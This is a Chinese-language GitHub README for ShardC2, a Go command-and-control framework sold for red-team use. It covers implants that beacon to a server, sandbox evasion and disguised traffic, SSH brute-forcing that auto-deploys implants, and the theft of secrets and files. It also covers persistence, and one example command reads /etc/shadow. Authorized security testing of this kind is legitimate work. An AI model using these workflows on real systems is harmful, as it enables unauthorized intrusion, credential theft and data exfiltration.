hett-patell/ShardC2

GitHub: hett-patell/ShardC2

ShardC2 是一个用 Go 编写的模块化 C2 框架,提供 HTTPS 植入、多阶段战役引擎和实时操作面板,用于授权红队的命令与控制操作。

Stars: 4 | Forks: 0

# ShardC2 [![发布版本](https://img.shields.io/github/v/release/hett-patell/ShardC2?color=blue)](https://github.com/hett-patell/ShardC2/releases) [![许可证:MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE) [![仅限授权使用](https://img.shields.io/badge/Use-Authorized%20Red%20Team%20Only-red.svg)](#disclaimer) [![Go 报告卡](https://goreportcard.com/badge/github.com/hett-patell/ShardC2)](https://goreportcard.com/report/github.com/hett-patell/ShardC2) 用 Go 构建的模块化命令与控制框架,用于授权的红队行动和安全研究。ShardC2 管理被控主机上的植入程序,编排多阶段攻击战役,并提供实时操作员仪表盘——所有操作均由安全策略控制,将范围限制在授权目标内。 ShardC2 Dashboard ## 目录 - [工作原理](#how-it-works) - [架构](#architecture) - [安装设置](#setup) - [仪表盘](#dashboard) - [战役](#campaigns) - [安全策略](#safety-policy) - [可变形 C2 配置文件](#malleable-c2-profiles) - [服务器配置参考](#server-configuration-reference) - [Agent 配置参考](#agent-configuration-reference) - [API 参考](#api-reference) - [数据库](#database) - [安全模型](#security-model) - [开发](#development) - [免责声明](#disclaimer) - [许可证](#license) ## 工作原理 ShardC2 基于 **服务器 → Agent → 目标** 模型运行: 1. **服务器** 运行在你的攻击基础设施上。它托管 REST API、战役引擎、操作员仪表盘和 Agent 二进制文件分发。 2. **Agent** 是部署到被控主机的轻量级植入程序。它们按可配置的时间间隔回连服务器,获取待处理命令,执行命令并报告结果。 3. **战役** 是自动化的多步骤操作(侦察、暴力破解、数据窃取、持久化),由引擎分发到各个 Agent 并跟踪直至完成。 ### 攻击链示例 典型的横向移动流程: ``` Operator creates BRUTE campaign targeting 10.0.0.0/24 ↓ Engine generates SSH brute-force tasks (server-side or via agents) ↓ Credential found: admin@10.0.0.15:22 ↓ Engine auto-deploys agent to 10.0.0.15 via SSH ↓ (detects arch → downloads correct binary → runs with implant key) New agent registers, appears in dashboard ↓ Operator runs RECON campaign on new agent (privesc, secrets, lateral targets) ↓ Discovered SSH keys → next hop targets → repeat ``` ### Agent 生命周期 ``` Agent starts → sandbox check → TLS setup → register with C2 ↓ Beacon loop: sleep(interval ± jitter) POST /beacon (heartbeat, system info) GET /commands (fetch pending) execute commands locally POST /result (return output) ↓ Kill date reached → self-terminate ``` ## 架构 ### 目录结构 ``` shardc2/ ├── cmd/ │ ├── server/ # C2 server entry point (CLI flags, TLS, config) │ ├── agent/ # Implant entry point (beacon, embedded config) │ └── bruteforcer/ # Standalone brute force tool ├── internal/ │ ├── server/ │ │ ├── handlers/ # REST API — bots, commands, campaigns, creds, exfil, operators, builds │ │ ├── middleware/ # Auth (JWT, HMAC, implant key), payload encryption │ │ ├── engine/ # Campaign engine — recon, brute, exfil, persist, custom task generators │ │ ├── audit/ # Operator action audit logging │ │ ├── builds/ # Cross-compile agent build pipeline │ │ └── report/ # Campaign evidence/report export (Markdown) │ ├── agent/ # Agent core — beacon loop, sandbox evasion, persistence, SOCKS5 proxy │ ├── database/ # PostgreSQL connection pool + migration runner │ └── testutil/ # Test database & HTTP helpers ├── pkg/ │ ├── crypto/ # AES-256-GCM encryption, HMAC-SHA256 signing, XOR string obfuscation │ ├── policy/ # Safety policy engine — CIDR scope validation, safe mode │ ├── profiles/ # Malleable C2 profiles — default, CloudFront, WordPress │ ├── transport/ # Agent-server protocol types (register, beacon, command, result) │ ├── plugins/ # Plugin manifest loader & validator │ ├── client/ # Go operator SDK (programmatic C2 access) │ └── models/ # Shared types — Bot, Command, Campaign, Credential, Build, AuditEvent ├── migrations/ # PostgreSQL schema (001-013) ├── web/dashboard/ # Operator SPA — HTML/CSS/JS with WebSocket real-time updates ├── wordlists/ # Bundled credential wordlists ├── docs/api/ # OpenAPI specification ├── Makefile # Build, test, deploy, cross-compile targets ├── docker-compose.yml # PostgreSQL + Redis dev environment └── policy.json # Safety policy configuration ``` ## 安装设置 ### 前置条件 - **Go 1.21+** - **Docker & Docker Compose**(用于 PostgreSQL) - **Make** ### 1. 启动数据库 ``` make docker-up ``` 启动 PostgreSQL 15,监听端口 5432(用户:`shardc2`,密码:`shardc2_secret`,数据库:`shardc2`)。 ### 2. 生成 TLS 证书 ``` make generate-cert ``` 创建自签名证书 `server.crt` 和私钥 `server.key`(ECDSA P-256,有效期 1 年)。 ### 3. 构建二进制文件 ``` make build ``` 生成: - `bin/shardc2-server` — C2 服务器 - `bin/shardc2-agent` — 植入二进制文件(宿主机架构) - `bin/shardc2-brute` — 独立暴力破解工具 ### 4. 启动服务器 ``` ./bin/shardc2-server \ --addr :8443 \ --tls-cert server.crt \ --tls-key server.key \ --implant-key your-implant-key \ --jwt-secret your-jwt-secret \ --c2-url https://YOUR_IP:8443 \ --policy-file policy.json \ --migrate ``` **关键参数:** - `--implant-key` 和 `--jwt-secret` — 必须显式设置。如果省略,服务器每次重启时生成随机值,这将使所有 Agent 认证和操作员 JWT 失效。 - `--c2-url` — 服务器的外部可访问 URL。自动部署需要此参数(Agent 从此 URL 下载其二进制文件)。 - `--migrate` — 启动时运行 PostgreSQL 模式迁移。 服务器首次运行时会打印一个 **引导令牌**。请保存它。 ### 5. 创建管理员操作员 ``` curl -sk -X POST \ -H "Authorization: Bearer " \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"your-password","role":"admin"}' \ https://localhost:8443/api/v1/operators ``` 引导令牌是一次性使用的——一旦管理员创建成功,该令牌即被禁用。 ### 6. 部署 Agent ``` ./bin/shardc2-agent \ --server https://YOUR_C2_IP:8443 \ --implant-key your-implant-key \ --interval 30s \ --jitter 5s \ --insecure-tls-for-lab-only ``` Agent 向服务器注册,出现在仪表盘中,并开始回连。 生产环境中,请将 `--insecure-tls-for-lab-only` 替换为 `--ca-cert your-ca.pem`。 ### 7. 访问仪表盘 打开 `https://YOUR_IP:8443/dashboard/`,使用管理员凭据登录。 ## 仪表盘 操作员仪表盘是一个单页应用,包含七个功能区: | 功能区 | 功能说明 | |--------|----------| | **概览** | 实时统计(活跃植入数、待处理命令数、战役数)、活动动态、环形图 | | **植入** | 完整的植入列表,包括主机名、IP、平台、用户、权限级别、标签。点击可查看详情或打开终端 | | **终端** | 任意植入的交互式终端。多 Bot 模式可同时向多个植入发送命令。WebSocket 实时输出 | | **凭据** | 凭据库——分类存储的秘密信息(密码、API 密钥、令牌、私钥),支持搜索/筛选,点击可显示明文 | | **战役** | 创建/启动/跟踪战役。实时进度条、可展开的任务结果输出、重放已完成战役、导出报告(JSON/HTML/MD) | | **文件** | 远程文件浏览器——浏览任意植入的文件系统,查看权限/所有权,下载文件 | | **设置** | 系统信息、操作员管理、数据库统计、Agent 构建器/阶段器、账户设置、审计日志 | ## 战役 战役是自动化的多步骤操作,分发至指定的植入程序。战役引擎每 5 秒 tick 一次,生成任务,同步结果,并跟踪进度。 ### 战役类型 #### 侦察——失陷后信息收集 在被控主机上运行基于 shell 的侦察模块。共有 13 个可用模块: | 模块 | 收集内容 | |------|----------| | `sysinfo` | 主机名、内核、操作系统、内存、磁盘、CPU、虚拟化、安全态势 | | `network` | 接口、路由、DNS、监听端口、连接、ARP、iptables、VPN/隧道 | | `users` | 当前用户、已登录用户、登录历史、passwd、shadow、sudoers、组成员关系 | | `software` | 安全相关软件包、编译器/开发工具、运行中的服务、PATH 中可写的脚本 | | `cloud` | AWS/GCP/Azure/DO 元数据、IAM 角色、服务账号令牌、用户数据、本地云配置 | | `containers` | Docker 检测、socket 访问、运行中的容器、K8s pods/secrets/service accounts | | `sensitive_files` | 私钥、配置文件、bash 历史(密码 grep)、SSH 配置、git 凭据、全局可读配置 | | `internal_network` | 子网 ping 扫描、存活邻居端口扫描(22, 80, 443, 3306, 5432, 6379, 8080, 8443, 27017, 9200) | | `privesc` | SUID/SGID 二进制文件、能力、sudo NOPASSWD、可写的 passwd/shadow、docker/lxd 组、内核版本、可写的 PATH | | `secrets` | SSH 私钥(内容)、历史记录中的秘密、.env 文件、数据库连接串、进程命令行秘密、/proc/environ、浏览器凭据、GPG 密钥 | | `lateral_targets` | SSH known_hosts、SSH 配置中的主机、authorized_keys、数据库主机配置、活动连接、NFS/SMB 共享、Ansible/Puppet/Salt 清单 | | `persistence_check` | 所有 crontab、cron 目录、非默认 systemd 服务、rc.local、init.d、profile 脚本、LD_PRELOAD、内核模块、timer、SSHD 配置 | | `process_inspect` | 进程树、命令行秘密、监听服务详情、有趣的文件、网络 socket、screen/tmux 会话 | **配置:** ``` { "modules": ["sysinfo", "privesc", "secrets", "lateral_targets"] } ``` #### 暴力破解——SSH 凭据攻击 两种模式: - **横向** — 将暴力破解 shell 脚本分发到失陷 Agent(Agent 攻击内部目标) - **外部** — 服务端 SSH 暴力破解(服务器直接连接目标,无需 Bot) 发现凭据后,引擎自动执行以下操作: 1. 将凭据存储到保险库 2. SSH 登录目标,检测架构 3. 下载正确的 Agent 二进制文件(amd64/arm64) 4. 以植入密钥启动 Agent **配置:** ``` { "mode": "external", "targets": ["10.0.0.0/24", "192.168.1.50"], "ports": [22], "usernames": ["root", "admin", "ubuntu"], "passwords": ["password", "admin123"], "use_db_creds": true, "workers": 20 } ``` #### 数据窃取——数据外传 搜索目标并上传匹配的文件。 **配置:** ``` { "patterns": ["*.pdf", "*.docx", "*.xlsx"], "paths": ["/home", "/opt"], "max_file_size": "5M" } ``` #### 持久化——安装持久化机制 部署持久化机制(cron、systemd、bashrc、rc.local),使用随机文件名和逼真的服务名。 **配置:** ``` { "methods": ["cron", "systemd", "bashrc"] } ``` #### 自定义——任意命令 在指定植入上执行任意 shell 命令。 **配置:** ``` { "command": "cat /etc/shadow" } ``` ## 安全策略 ShardC2 通过 JSON 策略文件强制执行范围限制。这可以防止意外(或未授权)攻击超出范围的系统。 ``` { "safe_mode": true, "allow_external_brute": false, "allow_auto_deploy": false, "allowed_cidrs": ["10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16"], "allowed_hosts": ["lab-target.internal"], "blocked_cidrs": ["10.0.0.1/32"] } ``` | 字段 | 作用 | |------|------| | `safe_mode` | 服务器重启时暂停所有正在运行的战役 | | `allow_external_brute` | 允许服务端 SSH 暴力破解 | | `allow_auto_deploy` | 允许自动向破解目标部署 Agent | | `allowed_cidrs` | 战役目标必须属于这些范围 | | `allowed_hosts` | 明确允许作为目标的主机名 | | `blocked_cidrs` | 这些范围内的目标总是被拒绝(覆盖允许列表 | 仪表盘会显示一个 **安全模式** 横幅,并显示当前活动的策略限制。 ## 可变形 C2 配置文件 配置文件通过重新映射端点、User-Agent 字符串和头部信息,将 Agent 流量伪装成合法的 HTTP 服务。 | 配置文件 | 伪装成 | Beacon 路径 | User-Agent | |---------|--------|-------------|------------| | `default` | 标准 API | `/api/v1/agent/beacon` | Mozilla/5.0 | | `cloudfront` | Amazon CDN | `/cdn-cgi/analytics` | Amazon CloudFront | | `wordpress` | WordPress API | `/wp-json/wp/v2/posts` | WordPress/6.4 | 在服务器和 Agent 上同时使用 `--profile cloudfront`。自定义配置文件可以定义为 JSON 文件。 ## 服务器配置参考 | 参数 | 环境变量 | 默认值 | 说明 | |------|---------|--------|------| | `--addr` | | `:8443` | 监听地址 | | `--db` | `SHARDC2_DB` | `postgres://shardc2:shardc2_secret@localhost:5432/shardc2?sslmode=disable` | PostgreSQL DSN | | `--migrate` | | `false` | 运行模式迁移 | | `--bootstrap-token` | `SHARDC2_BOOTSTRAP_TOKEN` | (自动生成) | 初始管理员创建令牌 | | `--implant-key` | `SHARDC2_IMPLANT_KEY` | (自动生成) | Agent 认证密钥 | | `--jwt-secret` | `SHARDC2_JWT_SECRET` | (自动生成) | JWT 签名密钥 | | `--payload-key` | `SHARDC2_PAYLOAD_KEY` | | AES-256-GCM 载荷加密密钥(十六进制,32 字节) | | `--c2-url` | `SHARDC2_C2_URL` | | Agent 自动部署的外部 URL | | `--tls-cert` | | | TLS 证书路径 | | `--tls-key` | | | TLS 私钥路径 | | `--profile` | | `default` | 可变形 C2 配置文件 | | `--policy-file` | `SHARDC2_POLICY_FILE` | | 安全策略 JSON 文件路径 | ## Agent 配置参考 | 参数 | 环境变量 | 默认值 | 说明 | |------|---------|--------|------| | `--server` | `SHARDC2_SERVER` | (必需) | C2 服务器 URL | | `--implant-key` | `SHARDC2_IMPLANT_KEY` | (必需) | 必须与服务器的密钥一致 | | `--payload-key` | `SHARDC2_PAYLOAD_KEY` | | 载荷加密密钥(必须与服务器一致) | | `--interval` | | `5m` | Beacon 间隔 | | `--jitter` | | `60s` | 添加到间隔的最大随机抖动 | | `--ca-cert` | | | 用于 TLS 验证的 CA 证书 | | `--kill-date` | `SHARDC2_KILL_DATE` | | 自动终止日期(RFC3339) | | `--insecure-tls-for-lab-only` | | `false` | 跳过 TLS 验证(仅限实验室) | | `--profile` | | `default` | 可变形 C2 配置文件(必须与服务器一致) | | `--daemon` | | `false` | 隐藏 banner 输出 | | `--ignore-sandbox` | | `false` | 跳过 VM/沙箱检测 | ### 构建嵌入配置的 Agent ``` # 单平台,带嵌入密钥 make agent-deploy SERVER_URL=https://c2.example.com:8443 IMPLANT_KEY=your-key # 跨平台编译:Linux/Windows/macOS (amd64 + arm64) make cross-compile SERVER_URL=https://c2.example.com:8443 IMPLANT_KEY=your-key # 使用 garble 进行混淆构建 make agent-garble SERVER_URL=https://c2.example.com:8443 IMPLANT_KEY=your-key ``` ## API 参考 完整 OpenAPI 规范:[`docs/api/openapi.yaml`](docs/api/openapi.yaml) ### 身份认证 - **操作员:** 通过 `POST /api/v1/auth/login` 获取 JWT 令牌 - **Agent:** 注册时使用植入密钥,后续请求使用会话令牌 - **载荷:** 可选的 AES-256-GCM 加密 + HMAC-SHA256 签名 ### 关键端点 | 方法 | 路径 | 认证 | 说明 | |------|------|------|------| | `POST` | `/api/v1/auth/login` | 无 | 操作员登录 → JWT | | `GET` | `/api/v1/stats` | JWT | 服务器统计信息 | | `GET` | `/api/v1/bots` | JWT | 列出所有 Agent | | `GET` | `/api/v1/bots/:id` | JWT | Agent 详情 | | `DELETE` | `/api/v1/bots/:id` | JWT | 移除 Agent | | `POST` | `/api/v1/commands` | JWT | 向 Agent 发送命令 | | `POST` | `/api/v1/commands/batch` | JWT | 向多个 Agent 发送命令 | | `GET` | `/api/v1/commands/history/:bot_id` | JWT | 命令历史 | | `POST` | `/api/v1/campaigns` | JWT | 创建战役 | | `GET` | `/api/v1/campaigns` | JWT | 列出战役 | | `POST` | `/api/v1/campaigns/:id/launch` | JWT | 启动战役 | | `GET` | `/api/v1/campaigns/:id/progress` | JWT | 战役进度 | | `GET` | `/api/v1/campaigns/:id/results` | JWT | 战役任务结果 | | `POST` | `/api/v1/campaigns/:id/replay` | JWT | 重放已完成战役 | | `POST` | `/api/v1/campaigns/validate` | JWT | 空转验证 | | `GET` | `/api/v1/campaigns/:id/report.md` | JWT | 下载战役报告 | | `GET` | `/api/v1/credentials` | JWT | 列出凭据(已屏蔽) | | `GET` | `/api/v1/credentials/:id/reveal` | JWT | 显示密码明文(已审计) | | `GET` | `/api/v1/exfil` | JWT | 列出已外传文件 | | `GET` | `/api/v1/exfil/:id` | JWT | 下载已外传文件 | | `POST` | `/api/v1/builds` | JWT | 请求构建 Agent | | `GET` | `/api/v1/safety/status` | JWT | 策略状态 | | `GET` | `/api/v1/agent/binary` | implant/JWT | 下载 Agent 二进制文件 | | `POST` | `/api/v1/operators` | JWT (admin) | 创建操作员 | ### Go SDK ``` import "github.com/shardc2/shardc2/pkg/client" c := client.New("https://c2.example.com:8443", jwtToken) bots, _ := c.ListBots() stats, _ := c.Stats() result, _ := c.ValidateCampaign(client.ValidateRequest{ Type: "brute", Config: `{"targets":["10.0.0.0/24"],"mode":"external"}`, }) ``` ## 数据库 PostgreSQL,包含 13 个增量迁移(使用 `--migrate` 自动应用): | # | 迁移 | 表/变更 | |---|------|---------| | 001 | 核心架构 | bots, commands, credentials, exfil_data, keylog, proxies | | 002 | 身份认证 | bot_tokens(会话令牌) | | 003 | 战役引擎 | campaigns, campaign_bots, campaign_tasks | | 004 | Agent 强化 | 指纹去重、kill_date、性能索引 | | 005 | 命令超时 | commands.timeout 列 | | 006 | 操作员 RBAC | operators 表,包含角色(admin/operator/view) | | 007 | 审计日志 | audit_events 表 | | 008 | Agent 身份 | 公钥、令牌过期 | | 009 | 战役运行 | campaign_runs 跟踪表 | | 010 | 构建流水线 | agent_builds 表 | | 011 | 凭据去重 | credentials 表唯一性约束 | | 012 | 凭据分类 | credential vault 的 category/source 列 | | 013 | Bot 标签 | 植入标签支持 | ## 安全模型 | 层级 | 机制 | |------|------| | **传输层** | TLS(自签名或 CA),通过 `--ca-cert` 进行显式证书固定 | | **载荷层** | AES-256-GCM 加密 + HMAC-SHA256 签名(可选,通过 `--payload-key` 启用) | | **Agent 认证** | 注册时使用植入密钥,后续请求使用每个 Agent 的会话令牌 | | **操作员认证** | JWT + RBAC(admin, operator, viewer)。引导令牌用于初始设置 | | **范围控制** | 安全策略,包含 CIDR 允许/阻止列表,安全模式 | | **审计** | 所有敏感操作员操作均记录用户名、IP、操作、结果 | | **Agent OpSec** | 沙箱/VM 检测、kill_date、可配置的 Beacon 抖动、可变形配置文件 | | **速率限制** | 登录:5/min、操作员路由:600/min、Agent 路由:60/min | ## 开发 ``` make docker-up # Start PostgreSQL make build # Build all binaries make test # Run tests with race detector go vet ./... # Static analysis go test -race ./... # Tests with race detection ``` ### 运行测试 ``` # 单元测试(无需数据库) go test ./... # 集成测试(需要 PostgreSQL) export SHARDC2_TEST_DB="postgres://shardc2:shardc2_secret@localhost:5432/shardc2?sslmode=disable" go test ./... ``` ### 项目统计 - **72 个 Go 源文件**,分布在 cmd/、pkg/、internal/ - **21 个测试套件**,涵盖加密、策略、处理程序、中间件、引擎、模型、客户端、构建、审计 - **13 个数据库迁移** - **3 个可变形 C2 配置文件** - **13 个侦察模块**、**5 种战役类型** ## 免责声明 ShardC2 专为**授权安全测试、红队行动和安全研究**而构建。仅在拥有所有权或取得明确书面授权的情况下使用。未经授权访问计算机系统是违法的。作者对滥用行为不承担任何责任。 ## 许可证 MIT - 详见 [LICENSE](LICENSE)。 ## Shard 生态系统 | 仓库 | 用途 | |---|---| | [ShardLure](https://github.com/hett-patell/ShardLure) | SSH 蜜罐 + 威胁情报仪表盘 | | [ShardC2](https://github.com/hett-patell/ShardC2) | 红队 C2 框架(Go 语言) | | [ShardFlow](https://github.com/hett-patell/ShardFlow) | 二层 LAN 工作台(ARP、丢包、限速) | | [ShardShell](https://github.com/hett-patell/ShardShell) | PHP 后利用 shell | | [ShardPass](https://github.com/hett-patell/ShardPass) | 极简 TOTP 认证器(Chrome MV3) | | [ShardPet](https://github.com/hett-patell/ShardPet) | 像素宝可梦浏览器扩展 |
标签:C2框架, Go语言, HTTPS, mTLS, Web操作面板, 云资产清单, 命令与控制, 安全学习资源, 底层编程, 授权使用, 攻击基础设施, 攻击活动引擎, 数据展示, 日志审计, 植入物, 模块化, 测试用例, 程序破解, 红队, 网络信息收集, 网络安全, 网络对抗, 自动化攻击, 请求拦截, 调试插件, 逆向工程, 隐私保护